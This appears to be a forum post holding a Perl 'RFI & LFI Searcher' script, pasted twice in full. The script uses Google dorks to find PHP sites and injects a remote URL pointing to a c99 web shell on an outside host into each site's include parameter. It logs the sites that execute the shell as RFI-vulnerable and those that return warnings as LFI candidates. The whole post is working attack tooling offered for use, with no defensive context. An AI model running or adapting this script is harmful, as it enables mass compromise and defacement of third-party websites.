PHP- Kodu:
#!/usr/bin/perl
# RFI & LFI Searcher
use IO::Socket::INET;
use LWP::Simple;
$txt = "http://www.site.com/c99.txt";
$search=$ARGV[0];
$search2=$ARGV[1];
$domin=$ARGV[2];
$a=0;
$r=0;
$l=0;
if(!$ARGV[0])
{
print "\n";
print "Useerl $0 <RFI DORK>\n";
print "Useerl $0 index.php? page\n";
exit;
}
$resul2="";
while ($resul2 !~/more results/) {
if ($a<10) {
sleep 1;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com", PeerPort => 80, Proto => "tcp")or next;
print $sock "GET /search?lr=lang_fa&cr=&q=allinurl:/$search.$search2start=$a HTTP/1.0\r\n";
print $sock "Content-type: text/html\n\n";
print $sock "Host: www.google.com\r\n\r\n";
@resul=<$sock>;
$resul2="@resul";
close($sock);
sleep 1;
} else {
sleep 1;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com", PeerPort => 80, Proto => "tcp")or next;
print $sock "GET /search?lr=lang_fa&cr=&q=allinurl:/$search.$search2&start=$a HTTP/1.0\r\n";
print $sock "Content-type: text/html\n\n";
print $sock "Host: www.google.com\r\n\r\n";
@resul=<$sock>;
$resul2="@resul";
close($sock);
sleep 1;
}
print "\n";
while($resul2 =~ m/<h2 class=r><a href="(.*?)" class=l>/) {
$resul2 =~ s/<h2 class=r><a href="(.*?)" class=l>/$1/;
($p,$path) = split($search,$1);
($h,$http) = split("http://",$p);
($h2,$http2) = split($search2,$http);
$kol =$h2.$search.$search2."=".$txt;
$start = get("http://".$kol);
if($start) {
if ($start =~ m/Defacing/ms)
{
print "\n
[*] RFI Vuln: $http \n";
open(rfi,">>rfi.txt");
print rfi $h2.$search.$search2."=\n";
$r++;
close(rfi);
} else {
print "\n
[*] RFI UnVuln: $http \n";
}
if ($start =~ m/Warning/ms) {
print "\n
[*] Warning Error: $http \n";
open(lfi,">>lfi.txt");
print lfi $h2.$search.$search2."=\n";
close(lfi);
$l++;
} else {
print "\n
[*] Unvuln: $http \n";
}
if($start =~ m/In order to show you the most relevant results,/ms)
{
print "\n
[*] END. Total RFI : $r\n Total LFI : $l++\n";
exit;
}
$a ++;
} else {
print "\n
[*] Unreachable : $http \n";
}
}
}
#Finish
# RFI & LFI Searcher
use IO::Socket::INET;
use LWP::Simple;
$txt = "http://www.site.com/c99.txt";
$search=$ARGV[0];
$search2=$ARGV[1];
$domin=$ARGV[2];
$a=0;
$r=0;
$l=0;
if(!$ARGV[0])
{
print "\n";
print "Useerl $0 <RFI DORK>\n";
print "Useerl $0 index.php? page\n";
exit;
}
$resul2="";
while ($resul2 !~/more results/) {
if ($a<10) {
sleep 1;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com", PeerPort => 80, Proto => "tcp")or next;
print $sock "GET /search?lr=lang_fa&cr=&q=allinurl:/$search.$search2start=$a HTTP/1.0\r\n";
print $sock "Content-type: text/html\n\n";
print $sock "Host: www.google.com\r\n\r\n";
@resul=<$sock>;
$resul2="@resul";
close($sock);
sleep 1;
} else {
sleep 1;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com", PeerPort => 80, Proto => "tcp")or next;
print $sock "GET /search?lr=lang_fa&cr=&q=allinurl:/$search.$search2&start=$a HTTP/1.0\r\n";
print $sock "Content-type: text/html\n\n";
print $sock "Host: www.google.com\r\n\r\n";
@resul=<$sock>;
$resul2="@resul";
close($sock);
sleep 1;
}
print "\n";
while($resul2 =~ m/<h2 class=r><a href="(.*?)" class=l>/) {
$resul2 =~ s/<h2 class=r><a href="(.*?)" class=l>/$1/;
($p,$path) = split($search,$1);
($h,$http) = split("http://",$p);
($h2,$http2) = split($search2,$http);
$kol =$h2.$search.$search2."=".$txt;
$start = get("http://".$kol);
if($start) {
if ($start =~ m/Defacing/ms)
{
print "\n
[*] RFI Vuln: $http \n";
open(rfi,">>rfi.txt");
print rfi $h2.$search.$search2."=\n";
$r++;
close(rfi);
} else {
print "\n
[*] RFI UnVuln: $http \n";
}
if ($start =~ m/Warning/ms) {
print "\n
[*] Warning Error: $http \n";
open(lfi,">>lfi.txt");
print lfi $h2.$search.$search2."=\n";
close(lfi);
$l++;
} else {
print "\n
[*] Unvuln: $http \n";
}
if($start =~ m/In order to show you the most relevant results,/ms)
{
print "\n
[*] END. Total RFI : $r\n Total LFI : $l++\n";
exit;
}
$a ++;
} else {
print "\n
[*] Unreachable : $http \n";
}
}
}
#Finish